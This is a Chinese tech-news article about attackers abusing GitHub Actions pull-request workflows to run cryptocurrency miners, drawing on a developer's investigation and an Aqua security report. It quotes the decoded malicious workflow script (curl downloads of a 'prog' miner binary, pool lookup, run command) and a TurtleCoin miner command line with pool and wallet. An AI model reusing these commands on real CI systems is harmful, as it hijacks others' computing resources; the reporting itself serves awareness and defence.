当前位置: 首页 > 科技观察

黑客使用GitHub服务器挖矿,三天跑了3万个任务,代码出现了中文

时间:2023-03-19 13:43:11 科技观察

加密货币价格一路飙升,显卡买不起。怎样才能“便宜”地挖矿?黑客们开始了一个歪主意——“健康”服务器。将挖矿木马植入PC已经不能满足黑客对算力日益增长的需求。如果不花钱就能使用GitHub的服务器,那当然是极好的。整个过程可能比破解PC更容易,甚至不需要程序员上当。只需提交一个PullRequest(PR),即使项目经理不批准,恶意挖矿代码仍然可以执行。原理也很简单。利用GitHubAction的自动执行工作流功能,可以轻松在GitHub服务器上运行挖矿程序。早在去年11月,黑客就已经发现了这种行为。更可怕的是,半年过去了,这种现象依然没有得到有效制止。GitHub正在受苦。非法账号虽然可以封禁,但黑客们玩起了“游击战术”,不断更换马甲账号以躲避“猎杀”,这让官方疲于奔命。就在前几天,荷兰的一名程序员也发现这种攻击方式依然存在,甚至代码中还出现了中文。那么,这些黑客是如何植入挖矿程序的呢?这一切都始于发现异常的法国程序员Tib。PR异常让程序员起疑去年11月,Tib发现他收到了一个他没有参与的repo的PR请求。在14小时内,我收到了7个,全部来自名为“y4ndexhater1”的用户,没有任何描述。奇怪的是,这不是一个热门项目,Star数为0。打开项目主页,发现内容是Perl项目的githubaction、circleci、travis-ci示例代码合集。整个README文档乱七八糟,完全不像一个正经的开源项目。然而,这个混乱且不受欢迎的repo实际上在3天内分叉了两次。一切都异常的不正常,给人一种不安的感觉。尝试“玩死”本着“玩死”的精神,Tib决定一探究竟。可疑用户操作后删除了Tib的所有动作,并在工作流中添加了一个ci.yml文件。他从沙发上跳起来,意识到事情的严重性:有人在黑他的GitHub个人资料!这串看似神秘的字符,其实是base64编码。翻译后又得到了一段代码:aptupdate-qqaptinstall-ycurlgitjqcurl-Lfoproghttps://github.com/bhriscarnatt/first-repo/releases/download/a/prog||curl-Lfoproghttps://transfer.sh/OSPjK/progip=$(curl-s-H'accept:application/dns-json''https://dns.google/resolve?name=poolio.magratmail.xyz&type=A'|jq-r'.Answer[0].data')chmodu+xprogtimeout4h./prog-o"${ip}:3000"-uChrisBarnatt-pExplainingComputers--cpu-priority5>/dev/null前两行不用解释,有趣的部分从第三行开始,它下载了一个prog二进制文件。为了安全起见,Tib首先尝试获取信息而不是执行并获取其十六进制代码。$objdump-s--section.commentprogprog:fileformatelf64-x86-64Contentsofsection.comment:00004743433a2028416c70696e652031302eGCC:(Alpine10.0010322e315f70726531292031302e322e312.1_pre1)10.2.100202032303230313230330020201203.Tib也考疑过反译,但没有成功。不入虎穴,得不到虎崽,Tib决定尝试经营。为了执行这个大胆但致命的任务以防止“试一试然后死”,Tib首先断开了他的计算机与网络的连接,并选择在Docker容器中运行它。答案终于揭晓。事实证明,这个程序是一个名为XMRig的挖矿程序。$./prog--versionXMRig6.8.1builtonFeb32021withGCC10.2.1features:64-bitAESlibuv/1.40.0OpenSSL/1.1.1ihwloc/2.4.0当时最新的XMRig版本刚好是6.8.1,和上面的version参数相匹配。但是用SHA256测试后发现这个prog并不完全是XMRig,Tib预测它可能是修改后的版本。事实上,可能被攻击的不仅仅是GitHub。安全公司Aqua推测,DockerHub、TravisCI、CircleCI等SaaS软件开发环境都可能遭受此类攻击。在这次攻击中,一个合法的repo被分叉,负责将恶意的GitHubAction添加到原始代码中。然后黑客向原始仓库提交PR以将代码合并回原始仓库。下载的挖矿程序会伪装成prog或gcc编译器,通过提交PR在项目中执行自动化工作流程。此时服务器会运行伪装的挖矿程序。这些攻击者能够在一次攻击中运行多达100个挖掘程序,从而在GitHub的服务器上进行大量计算。据Aqua估计,在短短三天内,挖矿黑客在GitHub上进行了超过23,300次提交,在DockerHub上进行了58,000次构建,并转换了大约30,000次挖矿任务。这种攻击可以预防,但很难根除。它甚至不需要被攻击的仓库管理员接受恶意的PullRequest。只要将其配置为在.github/workflows目录中的任何.yml文件中收到PullRequest时执行,黑客的Action就会自动执行。如果您不使用此功能,请不要担心,黑客可能也找不到您。如果需要使用该功能,可以设置为只允许本地Actions或者只允许Github官方和特定作者创建的Actions。在向客服反映情况后,GitHub将封禁恶意账号并关闭相关的PullRequest。然而,恶意攻击难以根除。黑客只需要注册一个新账号就可以继续卖淫服务器资源。攻击仍在继续我们从最近的一次攻击中发现,黑客将挖矿程序上传到GitLab并伪装成包管理工具npm。打开这个可疑的nani.bat,可以看到:npm.exe--algorithmargon2id_chukwa2--poolturtlecoin.herominers.com:10380--walletTRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP--passwordxo这一次黑客挖的是乌龟币*(TurtleCoin)*,canbecalculatedusingCPU.按照现在的价格,挖出4000多枚币值1美元。GithubActions的免费服务器可以提供两核IntelE52673v4,7GB内存。粗略估计单台机器一天只能赚几毛钱,而黑客的挖矿程序通常只能运行几个小时才会被发现。例如,DockerHub将自动构建的运行时间限制为2小时。不过,蚊子再小也是肉。黑客可以通过寻找更多接受公共行为的仓库并反复打开和关闭PullRequests来执行更多的挖矿程序。△同一个黑客账号攻击了至少95个GitHub仓库。正如Twitter用户DaveWalker所说,如果你提供免费的计算资源,你必须意识到你会受到攻击和虐待。当挖矿有利可图时,这是不可避免的。据报道,受害的不仅是GitHub,还有提供类似服务的DockerHub、TravisCI、CircleCI等持续集成平台。我不知道这场混乱什么时候结束,唯一的好消息可能是挖矿黑客似乎只针对GitHub提供的服务器资源,不会破坏你的代码。但GitHubAction的漏洞不仅限于此。还有一些方法可以让黑客读写开发者的存储库,甚至可以读取加密的机密文件。去年7月,谷歌零项目团队向GitHub通报了该漏洞。但是在给定的90天修复期+14天延期后,GitHub依然未能有效解决。对此,我们的建议是,不要轻易相信GitHub市场上的Action作者,也不要交出自己的密钥。